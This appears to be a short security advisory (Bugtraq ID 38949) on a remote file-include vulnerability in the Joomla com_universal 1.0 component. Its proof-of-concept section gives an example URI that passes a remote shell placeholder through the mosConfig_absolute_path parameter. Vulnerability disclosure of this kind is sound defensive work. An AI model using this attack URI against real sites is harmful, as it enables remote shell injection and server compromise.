Joomla! 'com_universal' Component 'mosConfig_absolute_path' Remote File Include Vulnerability

BID:38949

Info

Joomla! 'com_universal' Component 'mosConfig_absolute_path' Remote File Include Vulnerability

Bugtraq ID: 38949
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Mar 24 2010 12:00AM
Updated: Mar 24 2010 12:00AM
Credit: eidelweiss
Vulnerable: Joomla com_universal 1.0
Not Vulnerable:

Discussion

Joomla! 'com_universal' Component 'mosConfig_absolute_path' Remote File Include Vulnerability

The 'com_universal' component for Joomla! is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

'com_universal' 1.0.0 is vulnerable.

Exploit / POC

Joomla! 'com_universal' Component 'mosConfig_absolute_path' Remote File Include Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/administrator/components/com_universal/includes/config/config.html.php?mosConfig_absolute_path= [sh3ll inj3ct0r]

References

Joomla! 'com_universal' Component 'mosConfig_absolute_path' Remote File Include Vulnerability

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